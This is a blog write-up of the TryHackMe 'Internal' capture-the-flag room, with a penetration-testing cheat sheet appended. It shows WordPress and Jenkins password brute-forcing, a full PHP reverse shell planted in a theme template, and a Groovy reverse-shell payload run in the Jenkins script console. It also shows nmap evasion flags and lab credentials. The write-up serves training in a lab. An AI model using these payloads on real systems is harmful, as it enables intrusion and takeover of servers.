Internal - TryHackMe

11 min read

Published at: Apr 12, 2024

Motherboard, unsplashed

Gain access to the internal network and move laterally to get root!




The goal for this exercise is to gain access to a system through its webserver and from there move laterally throughout the network to elevate your privilege to root!

Cheat Sheet

Before we begin, as always there is a generic Cheat Sheet for this room which could be integrated in your own notes. You find it at at the bottom of this write-up. You can also find all of my notes at


User flag

Before starting with anything - we need to add the IP-address of our attackbox to our hosts file. On linux you do this by editing the /etc/hosts file:

How it should look after you have done it
sudo vim /etc/hosts - make sure to use the attackbox IP and not your IP

Starting with a simple nmap-scan:

sudo nmap -v -p- internal.thm

22/tcp open  ssh
80/tcp open  http

To find hidden directories we can use gobuster.

Running gobuster
gobuster dir -u "http://internal.thm/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

The blog and wordpress path results in the same location (pretty much) - and what's interesting is the "Log in" button in the footer.

Wordpress login button
This takes us to a wordpress login: http://internal.thm/wordpress/wp-login.php

The javascript path is 403 - Forbidden, but the phpmyadmin is another login page.

phpmyadmin page

We will start looking at the wordpress using wpscan - a wordpress scanner.

Always scan directory

Learning this the hard way - scanning /wordpress/wp-login.php will miss information that /wordpress would otherwise pick up.

We found a user
wpscan --url http://internal.thm/wordpress --enumerate

Now that we have a valid username we can use the same tool to try and bruteforce the password.

We found a valid password
wpscan --url http://internal.thm/wordpress -U admin -P /usr/share/wordlists/rockyou.txt


  • -U: username/list
  • -P: password/list

With valid credentials, we log into the wordpress site. Here we start explorting the menu's on the left side. When navigating to 'Posts' we find a private post without title.

Private post found
It contains more credentials, william:arnold147
New credentials: william:arnold147

I tried to use the credentials on the open ssh-port (ssh [email protected]) and the phpmyadmin page - however without success. Maybe the password has been changed already or we can use them later.

I however notice that I can edit the themes, thus opening up for a similar attack-vector to the Daily Bugle room.

Theme editor

We can try and replace it with a php-reverse shell and simply navigate to the home page and trigger it! I used the following:

  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 [email protected]

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '';  // You have changed this
  $port = 1337;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  // Daemonise ourself if possible to avoid zombies later

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    if ($pid <b> -1) {
      printit("ERROR: Can't fork");
    if ($pid) {
      exit(0);  // Parent exits

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() </b> -1) {
      printit("Error: Can't setsid()");

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

  // Change to a safe directory

  // Remove any umask we inherited

  // Do the reverse shell...

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);


  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string

Edit the Main Index Template

All we have to do now is: - Start a listener with netcat: `nc -lvnp 1337` - Navigate to the home page: http://internal.thm/blog/

We can also stabilise the shell with the following:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116
Stable shell!

We are `www-data` with not many privileges - to elevate them I download LinPEAS on my local machine and then host it on a python server:

python3 -m http.server 80

Now on the targeted machine we can fetch the script with wget:

cd /tmp # To make sure we have read/write privileges

LinPEAS, if you have not run it before produces a lot of output - thus appending the data to a file is optimal. But to also output it to the terminal we can use tee:

chmod +x
./ | tee linpeas-output.txt

Looking through the output we find the following:

wp-save file in opt directory
Credentials for user

We can now swap user with su aubreanna and find the user flag in the home directory of the user.



Root flag

Since we now have more privilegs I thought maybe running LinPEAS again will give more interesting results. However it did not...

Instead I found the file jenkins.txt in the home directory of the user.

Jenkins service on port 8080...
You can confirm it by running: ip a

Great! But we want to port forward this so we can use the GUI of Jenkins. To do this we can use ssh:

ssh -L 1338: [email protected] -N
  • -L: Local port forward (read about local vs remote forward)
  • -N: No commands, good if it's just for port forward and will make less noise

Now we can access the Jenkins portal

Jenkins portal

I tried the "william" credentials we found earlier but they didn't work. Instead I searched on google for default credentials: admin:password. However did this not work either, but in the meantime of trying other stuff I started a bruteforce of the password using Burp Suite Intruder. If you don't know how to intercept a request using Burp Suite, see my other post!

How to use Burp Suite with favourite browser using FoxyProxy - Hailstorm Security
Learn how to use FoxyProxy to start intercepting requests directly from your favourite browser!


Intruder tab
Inside the intruder tab (Right click request and "send to intruder")

And look what happened!

Seeing a JSESSIONID and a different response length makes us certain this is valid
Seeing a JSESSIONID and a different response length makes us certain this is valid

From the Alfred room I have learning a way to exploit the Script Console (Manage Jenkins -> Script Console). The script is Groovy Script, and a simple search found me this payload:

String host=""; // Listener IP
int port=1339; // Listining port
String cmd="/bin/bash"; // Shell 
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Make sure to run a listener (nc -lvnp 1339) before running the code in the script console.

Script console with the payload

Nice! We have another shell! Since things were hidden in the `/opt` directory before, I decided to check once again... and look what I found!

Root password found in opt directory
We have root!

Although do not be fooled! The credentials are only valid on the wordpress server (internal domain), not the Jenkins server! Now simply read the flag in the /root directory!



Cheat Sheet

You can also find all of the following under the notes category.


Network enumeration


ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (-Pn) and specify TCP scans (-sT) for this to work.


Traceroute with Nmap:

sudo nmap -sn --tsaceroute ip_addr -oA insecure-net

Zenmap can take the .xml output and graphically display the traceroute and topology

Initial port scan:

sudo nmap -p- -v 

Add -Pn if windows machine

Narrow secondary scan:

sudo nmap -v -A -sC --script vuln -p PORTS

Nmap to searchsploit:

sudo nmap -sV -p PORTS -oX searchsploit.xml && searchsploit --nmap searchsploit.xml


  • --script scriptname: run scripts
  • locate *.nse: list all scripts

Good scripts:

Script name Functionality
dns-brute Attempts to enumerate DNS hostnames by brute force guessing of common subdomains.
http-enum Enumerates directories used by popular web applications and servers.
http-title Shows the title of the default page of a web server.
nfs* Enumerates network file shares.
smb-os-discovery Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139).
smb-brute Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts.
smb-enum-shares Tries to enumerate shares.
smb-enum-users Tries to enumerate users of the shares.

Other script syntax:

-sC - Default scripts
--script all - runs all script (can DoS)
--script-updatedb - update the NSE scripts
--script banner - run the named script (banner) against the target(s)
--script-help "http*" - get help for the named script(s) (use wildcard * alone for all scripts)
--script "http*" - run all scripts beginning with http against the target(s)
--script "smb*" - run all scripts beginning with smb against the target(s)
--script category - runs all scripts within a script-category (e.g. vuln)

Examples, categories, etc:

Other flags

Flag Function
-sU UDP scan
-F top 100 ports
-iL input file
-D decoy source IP (RND for random)
-S spoof IP, need to be on the same network
-g source port (-g 443 to resemble https, or -g 53 for UDP to resemble DNS )
--reason show target response
--packet_trace show packet details
traceroute show topology
Packet fragmentation
-f to set the data in the IP packet to 8 bytes.
-ff to limit the data in the IP packet to 16 bytes at most.
--mtu SIZE to provide a custom size for data carried within the IP packet. The size should be a multiple of 8.
Packet fragmentation end
--data-length set a specific length (multiple of 8)
--badsum send invalid packet
--ip-options "[S/L] IP IP2" Strict and loose routing
--proxies comma separated proxy list (HTTP or SOCKS4)
--spoof-mac need to be on the same network
--ttl set specific time to live


Directory bruteforce:

gobuster dir -u "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE


Default threads is 10 (-t)

Gobuster flag Description
-e Print the full URLs in your console
-u The target URL
-w Path to your wordlist
-U and -P Username and Password for Basic Auth
-p Proxy to use for requests
-c Specify a cookie for simulating your auth


Wordpress scanner

ALWAYS scan the directory

When scanning the directory rather than the login page, you will usually find more information. E.g. scan /wordpress and not /wordpress/wp-logoin.php

wpscan --url -e
  • -e: enumerate
  • -U: username/list
  • -P: password/list

Stabilise Shell

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116

How does it work?

Explanation per line:

  1. Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys.
  2. This will give us access to term commands such as clear.
  3. This does two things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes.
  4. Get back to the shell.



chmod +x
./linpeas | tee linpeas.out


SSH port forward:

Remote port forwarding schema

Remote (expose your service): ```shell ssh username@ATTACKER_IP -R 8000:TARGET_IP:80 -N ``` *Can also SSH to victim and launch SOCKS proxy with -D* -N : do not execute remote command (good when just port forwarding)

Local port forwarding schema

Local (expose another service): ```shell ssh username@SSH-SERVER -L *:80:localhost:80 -N ```


Due to opening a port - we might need to add a firewall rule to allow incomming connections with dir=in. Require admin privilege: netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

Support me

Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!

  • Turn off Adblocker: A simple yet impactful way to support me for free.
  • Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
  • Buy Premium: Explore the Premium option for additional perks and exclusive content.
  • Give a Tip: Your generosity is always very appreciated.

You can read more about the perks of being a Member or Subscriber here.

Additionally, you can stay updated and engage with me on social media:

  • Twitter: Follow for real-time updates and insights.
  • LinkedIn: Connect with me on a professional platform.

Contact me here: [email protected]


Become a member and never miss a post!

By signing up you have read and agree to the Privacy Policy.


Bonus content

Learn more...

Continue reading

Continue reading

Continue reading